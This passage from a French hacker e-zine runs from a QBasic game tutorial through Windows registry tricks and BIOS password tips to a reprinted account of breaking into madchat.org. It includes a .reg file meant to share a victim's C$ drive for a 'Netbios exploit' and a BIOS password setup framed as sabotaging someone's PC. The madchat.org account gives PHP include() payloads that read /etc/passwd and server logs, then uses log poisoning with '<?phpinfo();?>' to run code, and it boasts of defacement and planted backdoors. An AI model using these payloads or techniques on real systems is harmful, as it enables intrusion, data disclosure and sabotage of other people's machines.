une touche, la boucle GOTO se charge de la rponse.
16 c$ = INKEY$ 
IF c$ = CHR$(49) THEN GOTO 17 
IF c$ = CHR$(50) THEN GOTO 18 
IF c$ = CHR$(51) THEN GOTO 19 
IF c$ = CHR$(52) THEN GOTO 20 
GOTO 16 
17 s = 2000 
GOTO 21 
18 s = 1000 
GOTO 21 
19 s = 500 
GOTO 21 
20 s = 200 
GOTO 21 
21 r = 0 
0 CLS 
SCREEN 1 
RANDOMIZE TIMER 
REM Dclaration des variables qui dfiniront la vitesse de jeu, en fonction du niveau choisi.
b = INT(RND * 100) + 1 
c = INT(RND * 100) + 1 
d = 0 
e = INT(RND * 100) + 1 
f = INT(RND * 100) + 1 
g = INT(RND * 100) + 1 
h = INT(RND * 100) + 1 
i = INT(RND * 100) + 1 
j = INT(RND * 100) + 1 
k = INT(RND * 100) + 1 
l = INT(RND * 100) + 1 
m = INT(RND * 100) + 1 
n = INT(RND * 100) + 1 
o = INT(RND * 100) + 1 
REM Ci dessous le jeu en lui mme
LINE (40, 0)-(40, b) 
LINE (40, b + 20)-(40, 200) 
LINE (60, 0)-(60, c) 
LINE (60, c + 15)-(60, 200) 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
LINE (100, 0)-(100, e) 
LINE (100, e + 15)-(100, 200) 
LINE (120, 0)-(120, f) 
LINE (120, f + 15)-(120, 200) 
LINE (140, 0)-(140, g) 
LINE (140, g + 15)-(140, 200) 
LINE (160, 0)-(160, h) 
LINE (160, h + 15)-(160, 200) 
LINE (180, 0)-(180, i) 
LINE (180, i + 15)-(180, 200) 
LINE (200, 0)-(200, j) 
LINE (200, j + 10)-(200, 200) 
LINE (220, 0)-(220, k) 
LINE (220, k + 10)-(220, 200) 
LINE (240, 0)-(240, l) 
LINE (240, l + 10)-(240, 200) 
LINE (260, 0)-(260, m) 
LINE (260, m + 10)-(260, 200) 
LINE (280, 0)-(280, n) 
LINE (280, n + 10)-(280, 200) 
LINE (300, 0)-(300, o) 
LINE (300, o + 5)-(300, 200) 
p = 0 
q = 100 
1 PSET (p, q) 
REM On dfinit les mouvements du ver de terre en fonction des touches prsses par 
l'utilisateur du programme.
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF d = 180 THEN GOTO 5 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
IF p = 320 THEN GOTO 8 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d + 1 
p = p + 1 
c$ = INKEY$ 
IF c$ = CHR$(53) THEN GOTO 2 
IF c$ = CHR$(50) THEN GOTO 3 
FOR z = 1 TO s 
NEXT 
GOTO 1 
2 PSET (p, q) 
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF q <= 0 THEN GOTO 4 
IF d = 180 THEN GOTO 6 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d + 1 
q = q - 1 
IF INKEY$ = CHR$(51) THEN GOTO 1 
FOR z = 1 TO s 
NEXT 
GOTO 2 
3 PSET (p, q) 
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF q >= 200 THEN GOTO 4 
IF d = 180 THEN GOTO 7 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d + 1 
q = q + 1 
IF INKEY$ = CHR$(51) THEN GOTO 1 
FOR z = 1 TO s 
NEXT 
GOTO 3 
5 PSET (p, q) 
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF d = 0 THEN GOTO 1 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
IF p = 320 THEN GOTO 8 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d - 1 
p = p + 1 
c$ = INKEY$ 
IF c$ = CHR$(53) THEN GOTO 6 
IF c$ = CHR$(50) THEN GOTO 7 
FOR z = 1 TO s 
NEXT 
GOTO 5 
6 PSET (p, q) 
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF q <= 0 THEN GOTO 4 
IF d = 0 THEN GOTO 2 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d - 1 
q = q - 1 
IF INKEY$ = CHR$(51) THEN GOTO 5 
FOR z = 1 TO s 
NEXT 
GOTO 6 
7 PSET (p, q) 
IF p = 40 AND q <= b THEN GOTO 4 
IF p = 40 AND q >= b + 20 THEN GOTO 4 
IF p = 60 AND q <= c THEN GOTO 4 
IF p = 60 AND q >= c + 15 THEN GOTO 4 
IF p = 100 AND q <= e THEN GOTO 4 
IF p = 100 AND q >= e + 15 THEN GOTO 4 
IF p = 120 AND q <= f THEN GOTO 4 
IF p = 120 AND q >= f + 15 THEN GOTO 4 
IF p = 140 AND q <= g THEN GOTO 4 
IF p = 140 AND q >= g + 15 THEN GOTO 4 
IF p = 160 AND q <= h THEN GOTO 4 
IF p = 160 AND q >= h + 15 THEN GOTO 4 
IF p = 180 AND q <= i THEN GOTO 4 
IF p = 180 AND q >= i + 15 THEN GOTO 4 
IF p = 200 AND q <= j THEN GOTO 4 
IF p = 200 AND q >= j + 10 THEN GOTO 4 
IF p = 220 AND q <= k THEN GOTO 4 
IF p = 220 AND q >= k + 10 THEN GOTO 4 
IF p = 240 AND q <= l THEN GOTO 4 
IF p = 240 AND q >= l + 10 THEN GOTO 4 
IF p = 260 AND q <= m THEN GOTO 4 
IF p = 260 AND q >= m + 10 THEN GOTO 4 
IF p = 280 AND q <= n THEN GOTO 4 
IF p = 280 AND q >= n + 10 THEN GOTO 4 
IF p = 300 AND q <= o THEN GOTO 4 
IF p = 300 AND q >= o + 5 THEN GOTO 4 
IF q >= 200 THEN GOTO 4 
IF d = 0 THEN GOTO 3 
IF p = 80 AND q <= d THEN GOTO 4 
IF p = 80 AND q >= d + 20 THEN GOTO 4 
LINE (80, 0)-(80, d) 
LINE (80, d + 20)-(80, 200) 
LINE (80, d)-(80, d + 20), couleur% = 1 
d = d - 1 
q = q + 1 
IF INKEY$ = CHR$(51) THEN GOTO 5 
FOR z = 1 TO s 
NEXT 
GOTO 7 
REM Ci dessous, le dernier cran de jeu, qui dfinit si vous avez gagn ou perdu.
4 CLS 
PRINT "" 
PRINT "" 
PRINT " Vous avez perdu" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " Nombre de points" 
PRINT r 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " Appuyez sur a" 
LINE (90, 10)-(220, 10) 
LINE (220, 10)-(220, 30) 
LINE (220, 30)-(90, 30) 
LINE (90, 30)-(90, 10) 
REM Pour exemple, en dcimal a = 97 , la ligne suivante dfinit si l'utilisateur du programme
a tap "a" et si oui on va  la ligne 9
11 IF INKEY$ = CHR$(97) THEN GOTO 9 
GOTO 11 
8 CLS 
r = r + 1 
s = s - 50 
PRINT "" 
PRINT "" 
PRINT " Vous avez gagn" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " Appuyez sur a" 
LINE (90, 10)-(220, 10) 
LINE (220, 10)-(220, 30) 
LINE (220, 30)-(90, 30) 
LINE (90, 30)-(90, 10) 
10 IF INKEY$ = CHR$(97) THEN GOTO 0 
GOTO 10 
9 CLS 
PRINT "" 
PRINT "" 
PRINT " Voulez vous recommencer ?" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " o = Oui" 
PRINT " n = Non" 
13 c$ = INKEY$ 
IF c$ = CHR$(111) THEN GOTO 22 
IF c$ = CHR$(110) THEN GOTO 12 
REM Car en dcimal o = 111 et n = 110
GOTO 13 
12 END 

Voil, et comme vous l'avez constatez le principe est le mme que dans tous les langages de 
programmation, pour demander  l'utilisateur de presser une touche, on dfinit d'abord
la variable qui correspond  la touche, ici "c", on l'assigne  INKEY$ , aprs quoi
on peut se servir de c$ pour les if, selon la valeur de la touche prsse en dcimal...

Bon, si vous n'avez pas compris, c'est que vous tes vraiment trop con  := , le basic
est form de telle sorte que mme un dbutant peut comprendre le programme rien qu'en lisant
une ou deux fois le code source...

A partir de cet exemple, vous ne devriez avoir aucun mal  crire vos propres programmes...
Pour l'instruction LINE, c'est un peu plus compliqu, il faudra donc essayer diffrents valeurs
de LINE pour voir le dessin qu'on peut en tirer, etc...
Chaque jeu que j'ai programm en BASIC, je l'ai programm par HASARD, en faisant des chtits dessins
avec LINE, essayer de voir  quoi a peut ressembler, et essayer de faire un jeu avec.
En fait le Basic est plus un divertissement qu'autre chose...
Mais faites attention de ne pas trop y prendre got, le basic est mauvais pour la sant...

Bon, sur ce chers amis lecteurs (;=)) on passe  autre chose, le basic m'a dj degout...



 --------------------------------
( 7. Quelques astuces sur la BDR )
 --------------------------------

Yeepieeeeeeee, Dr.Kefka est l pour remettre les choses en ordre sur votre micro...
Modifier la base de registre ncessite que vous ayez WINDOWS install sur votre machine,
croyez moi, s'amuser avec regedit est la chose la plus amusante  faire sous windaube...

Voici donc quelques astuces, trs diverses, et 100% efficaces :

 Faire disparatre les icnes de son bureau
Ouvrez regedit 'demarrer/executer/regedit' puis aller dans :
HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer
Now regarder  droite, vous voyez plusieurs cls, comme NoDriveTypeAutoRun et NoSaveSetting.
Faites donc un clique droit sur la fentre, selectionner Nouveau, puis Valeur DWORD .
Renommez maintenant la valeur en "Nodesktop". Double cliquez ensuite sur Nodesktop et mettez
1 dans le cadre "Donnes de la valeur" . Redemarrez maintenant votre pc, et l  Surprise,
vous n'avez plus une seule icne sur le bureau... Pour les faire reaparatre, il vous
suffira de supprimer la veleur "Nodesktop" . Voil !

 Renommez le poste de travail et la corbeille
Ouvrez regedit, puis aller dans :
HKEY_CLASSES_ROOT / CLSID / {645FF040-5081-101B-9F08-00AA002F954E} pour la Corbeille
HKEY_CLASSES_ROOT / CLSID / {20D04FE0-3AEA-1069-A2D8-08002B30309D} pour le Poste de travail
A droite de votre cran vous verrez les valeurs "Defaut" et "Infotip". 
En double cliquant sur ces valeurs, vous pourrez modifier le nom et la description
de vos icnes. Amusez vous bien !!!  ;)
Vous pouvez aussi modifier le nom d'autres icnes, comme :
HKEY_CLASSES_ROOT / CLSID / {450D8FBA-AD25-11D0-98A8-0800361B1103} pour Mes documents
HKEY_CLASSES_ROOT / CLSID / {85BBD920-42A0-1069-A2E4-08002B30309D} pour Porte-documents

 Inversez les icnes Corbeille Pleine / Corbeille vide
Trs con je sais... Ouvrez regedit et aller dans :
HKEY_LOCAL_MACHINE / Software / Classes / CLSID 
Puis double-cliquez sur le secteur {645FF040-5081-101B-9F08-00AA002F954E} .
Puis sur "Defaut Icon" . 
Il ne vous restera plus qu' remplacer les valeurs  droite de l'cran:
empty "c:\windows\system\shell32.dll,31"
full "c:\windows\system\shell32.dll,32"
A remplacer par :
empty "c:\windows\system\shell32.dll,32"
full "c:\windows\system\shell32.dll,31"
C'est  dire inverser le 31 et le 32 ... Effet garanti !!!!

 Les fichier *.reg
Au lieu d'aller modifier la base de registre manuellement, vous pouvez galement crer
des fichiers registre qui le feront pour vous.

Voil un exemple - sexydoo.reg ...

REGEDIT4
; les commentaires s'introduisent par ";" dans les fichiers reg
; comme  :))))
; Remplacer la page d'acueil d'Internet Explorer par http://www.sexydoo.net
; ( un excellent site de uc ;) )
; les cls sont introduites par [ et ]
; les " " sont pour assigner des valeurs  ces cls
; bon, j'arrte de parler, on y go !!!
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer]
"start page"="http://www.sexydoo.net"
; Voil z'avez compris ??

Bon, now voici un autre exemple de fichier reg, cette fois ci servant  activer le partage
des dossiers/fichiers d'une machine, afin d'introduire cette machine grce  l'exploit Netbios.
NB : J'en avais d'ailleurs dj parler dans le HackZine prcdent.

REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags]
"REG_DWORD"="770"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parmlenc]
"REG_BINARY"="6837"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc]
"REG_BINARY"="0"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path]
"C:\"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark]
""
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type]
"REG_DWORD"="0"

Ahem, voil, en fait ceci n'tait que l'adaptation hasardeuse (:p) d'un script *.vbs dont
j'avais publier le code source dans HackZine2. 
Mme pas sr que ce fichier reg marche, c'est vous dire si je m'y connais... :P
Ooo et puis zut, si vous avez l'intention de signaler une erreur, fermez vot' gueule, on
voit bien que c'est pas vous qui l'avez cris ce mag, tssss...

Bon, si c'est a, j'arrte de parler de la base de registre.. (fallait pas me faire chier,
je vous avais prvenu :p )



 -------------------------------
( 8. Dregler le Bios de son pc )
 -------------------------------

Ahem, on va ici s'attaquer  une trs bonne technique qui consiste  interdire l'accs au pc
par un simple mot de passe. Trs efficace vu qu'il n'existe aucun moyen pour enlever le
passwd (en fait si, y'a une bidouille  faire avec la carte mre, on y reviendra aprs) .

Il vous faudra pour cela rgler le Bios du pc que vous voulez saboter...
Comment faire ? En fait tout dpend de la marque de votre ordinateur, pour accder  mon
bios, il a fallu que je presse plusieurs fois la touche F1 lors du dmarrage de mon pc,
mais sinon c'est gnralement Del ou suppr, pour le savoir, vrifier votre manuel... ;)

Donc, pour avoir accs au Bios, il faut, ds le dmarrage du pc, appuyer sur une certaine
touche... Bon, now qu'on est dans le Bios, on fait quoi ?

Alors voil, dj vous pouvez reconnatre plusieurs options, Informations systme, configuration
CMOS, Options avances, etc.. A l'aide des flches directionelles, placez le curseur sur
"Options avances", puis de la mme faon allez sur "Securit du systme" .
Vous aurez la possibilit de mettre un mot de passe au dmarrage, en mettant le curseur sur
"Mot de passe de mise sous tension" et appuyant vers la droite, de manire  regler le passwd
sur "Prsent". A vous ensuite de dfinir le mot de passe, 7 caractres maximum...
7 caractres, tiens c'est marrant a, les 7 jours de la semaine, les 7 sacrements, et...
Les 7 lettres de  [ w i n d o w s ] arghhh billou est partour, mme chez IBM ! (NDLR : mon pc
est de marque IBM, cherchez pas plus loin :)) )

Bon, maintenant que vous avez dfini le passwd, retournez sur le menu d'accueil en appuyant
deux fois sur ECHAP. Puis, quittez le Bios en appuyant une nouvelle fois sur ECHAP, et 
sauvegarder les modifications. Le pc va redemarrer, attendez quelques instant... Et hop, avant
mme que Windows se lance, on vous demande la key !!!

J'espre que vous connaissez le password, parce que sinon, z'tes trop dans la merde...
Justement, en parlant de a, je vais maintenant vous donner la mthode pour faire
sauter le mot de passe d'un Bios, largement inspir de FrHack #1 , mais bon...

Il va vous falloir pour ce faire vous armer d'un tournevis, afin d'ouvrir votre 
ordinateur. Si vous savez dj comment c'est fait l'intrieur d'un ordinateur, vous
n'aurez aucune difficult  trouver la carte mre, cherchez donc  ct de celle-ci une
petite batterie ronde, et enlevez la (du moins mettez la  l'cart pour un ptit quart d'heure)
Now, cherchez le jumper du CMOS et mettez le sur zro. Ensuite cherchez une batterie bleue avec
un jumper coll dessus, enlevez cette batterie pour un quart d'heure aussi. 

Au bout de quize minutes donc, remettez tous les lments en place et rallumez le pc.
Vous voil enfin dans le setup du Bios , vous reste plus qu' y mettre tous les paramtres
que vous voudrez ...  HAVE FUN  /// ;)



 ---------------------------
( 9. Madchat.org was hacked )
 ---------------------------

Cet article, (qui n'est pas de moi) va tre le premier article d'une srie dont le thme
sera de vous montrer,  travers quelques exemples rels, les mthodes d'intrusions des
script kiddies, cela sera donc une trs bonne chose pour vous apprendre  exploiter
diffrentes failles... 
Ici, la faille exploite est PHP4, les failles php sont trs apprcies de nos jours...
Bon, je vous laisse dcouvrir a tout seul, comme un grand !!!


--------------------------------------------------------------------------
a Mind over Machine release:

 Nouvelle methode d'exploitaiton de trous de securitees causez par PHP4
 par __2.

--------------------------------------------------------------------------



		 	Un  exemple  eventuelle  de hacking reside souvent
dans l'utilisation  automatique  d'une serie d'exploit pris un peu partout
sur Internet. Dans le cas suivant par  contre, nous  avons  eu  la  chance 
d'inventer  nos  propres  mecanismes, chose  qui sort du commun. Nous nous
sommes donc dit que cela  pourrait  faire un  bon article  au point de vue
technique.

Le site a ete defacer(le site web  a  ete  modifier  pour  souligner notre 
passage, rien de tres mechant) et  on s'est permis de placer 3-4 backdoors
un  peu  partout  question  de  pouvoir  revenir  si  jamais  l'envie   se
presenterait. Au moment ou  vous  lisez  ceci  peut-etre  que  madchat.org
contient encore une backdoor valide. A vous de les trouvez :)

Question de prouver qu'on a bien reussi a faire tout ce quon  dit  quon  a 
fait allez voir les  fichiers joints  au  e-zine, leonard et compagnie  va
surement s'y retrouver.

Tout a debutter le 21  au  soir,  dans  le  coin des 9h. Moi et wyzeman on 
essayait plusieurs sites question de forcer  leur  systeme  de  PHP, apres 
un maigre 15 minutes j'avais deja reussi a defacer un autre site(kill-9.dk)
pour le plaisir  de  ce genre de chose, on s'est dit que madchat regorgant
de  php3  archaiques  fait par des gens aux competences douteuses pourrait
etre un bon champ d'entrainement.

Donc j'ai cru bon commencer par le forum, un forum en PHP  est  tjours une
bonne source d'essaies eventuelles. Resumer de mes  tentatives  solder par
un echec: La personne qui l'avais coder  avait  prevu  un  peu  tout   les
trucs classiques(blocage des <> %3C/%3E etc..) Alors j'ai du  me  rabattre
sur une 2ieme  possibilitee, la  base  de  donnee MYSQL qui roulait sur le
port par defaut (madchat.org:3306). A  vue  de  nez  on  pouvait  conclure
qu'un systeme qui   roule   qmail/ncftpd et mysql en multiuser  est un ISP
commerciale,les possibilitees que mysql roule avec un root par defaut etait
donc pas mal improbable.Ncftpd valait pas la peine d'etre verifier du fait
que c'est un serveur ftp  reconnu  pour son manque de breches de securite.

J'ai ete me rabattre sur les verifications classiques, par exemple:

http://madchat.org/box?K=unix/linkz (url normal)

variantes:

http://madchat.org/box?K=unix/linkz&admin=1 
http://madchat.org/box?K=

j'ai fait ce genre de verification a tout les liens php possible. J'ai
decouvert par hasard que http://madchat.org/box?K= donnait le msg
d'erreur :

Fatal error: input in flex scanner failed in /home2/triton/www on line 1


Pour quelquun qui fait souvent du PHP ca parait tres tres claire:

<? include($K); ?> { pour ceux qui comprenne }

Ca voulais dire qu'on pouvait passer directement un PATH a K.

ie:
http://madchat.org/box?K=/etc/passwd
http://madchat.org/box?K=/etc/inetd.conf
http://madchat.org/box?K=/proc/cpuinfo

(Bonus: aucun $DOCUMENT_ROOT meprisant)

Le  gros  proble me c'est que contrairement  a  du PERL un code | en php
ne  maurait pas permis  de  sortir  des   limites du include pour lancer
des  executables. Je savais  que je roulais en user:nobody (le ISP avait
l'air serieux :-)) alors   on  etait pas  mal limitee  a  /tmp/  et  aux 
fichiers de /home2/triton/www rw/o (CE qui est une insecurite)..

Donc jme suis mis a chercher sur  Internet  si  il  existait  une  facon
d'exploiter un include() de PHP  pour  lancer un application a distance.
Ca n'existait pas, personne n'en a jamais parler  alors  j'etait pas mal
abattus et j'ai decider donc  de  changer d'activitee. Ecouter SouthPark
est un bon remede.

Nous avons repris  le travail vers minuit pour finir a 3h du mat . C'est
a ce moment la que tout  commencait a  devenir plus  serieux.    J'avais
decouvert un moyen par hasard de pouvoir executer du code. Voici l'astuce.
Au depart, je voulais les configurations du apache qui roulait sur la
machine. J'ai essayer /usr/local/apache/conf/httpd.conf :

http://madchat.org/box?K=/madchat.org/box?K=/usr/local/apache/conf/httpd.conf

Gotcha, voici les lignes qui nous interessait:

<VirtualHost 63.100.42.75>
User #546
Group silver
ServerAdmin webmaster@madchat.org
DocumentRoot /home/triton/www
ServerName www.madchat.org
ServerAlias madchat.org
ErrorLog /home/triton/logs/www-error_log
CustomLog /home/triton/logs/www-access_log combined
ScriptAlias /cgi-bin/ /home/triton/cgi-bin/
Alias /urchin /home/triton/urchin
</VirtualHost>

les 2 fichiers LOG promettait d'etre interessant, on aurait pus y voir
des URL contenant des mots-de-passes? Pourquoi pas? Alors j'ai nous avons
ete chercher fichier log des erreurs:

http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-error_log

Ce qui donne en bref ceci:

[Mon Jan 22 00:15:16 2001] [error] [client 62.210.194.76] File does not exist: 
/home/triton/www/hacking.php3
[Mon Jan 22 00:36:54 2001] [error] [client 209.202.148.38] File does not 
exist: /home/triton/www/initiation.php3
[Mon Jan 22 00:42:54 2001] [error] [client 193.250.235.129] File does not 
exist: /home/triton/www/lascars.php3
[Mon Jan 22 00:43:04 2001] [error] [client 64.229.232.73] attempt to invoke 
directory as script: /home/triton/cgi-bin/forum
[Mon Jan 22 00:43:07 2001] [error] [client 64.229.232.73] attempt to invoke 
directory as script: /home/triton/cgi-bin/forum
[Mon Jan 22 00:43:09 2001] [error] [client 64.229.232.73] attempt to invoke 
directory as script: /home/triton/cgi-bin

Rien de tres pationnant , c'est le 2ieme LOG (le custom) qui s'est par contre
montrer fort appreciable:

http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log


149.99.73.119 - - [22/Jan/2001:00:01:33 -0500] "GET / HTTP/1.0" 200
75092 "-" "Mozilla/4.75 [fr] (Win95; U)"
149.99.73.119 - - [22/Jan/2001:00:03:20 -0500] "GET /news/nsa/gwunsa.htm
HTTP/1.0" 200 25254
"http://www.northernlight.com/nlquery.fcg?ho=zeppo&po=5128&qr=NSA+AND+Pine+Gap&$
"Mozilla/4.61 [en] (Win98; U)"
149.99.73.119 - - [22/Jan/2001:00:03:22 -0500] "GET 
/news/nsa/gwunsa_fichiers/nsaseal_t.gif HTTP/1.0" 200 12023
"http://www.madchat.org/news/nsa/gwunsa.htm" "Mozilla/4.61 [en] (Win98; U)"
63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /style.php3 HTTP/1.0" 200
1771 "-" "PHP/4.0.3pl1"
63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /arbre.php3 HTTP/1.0" 200
5709 "-" "PHP/4.0.3pl1"

On voyait les URI! C'est ici que vous devez savoir comment un php fonctionne.
Si je fabrique un fichier test.php et que je place a l'interieur:

<? print "bouh!" ?>

le resultat dans mon browser web va etre bouh! , il va executer le code.
Ici le include() inclue le fichier LOG et apres il execute son contenu.
ET OUI Tout ce qui restait a faire c'etait de passer un URI contenant le
code PHP souhaiter. J'ai dailleurs fait un test:

http://www.madchat.org/<?phpinfo();?>

Ca l'a ajouter au log une ligne contenant GET <?phpinfo();?>
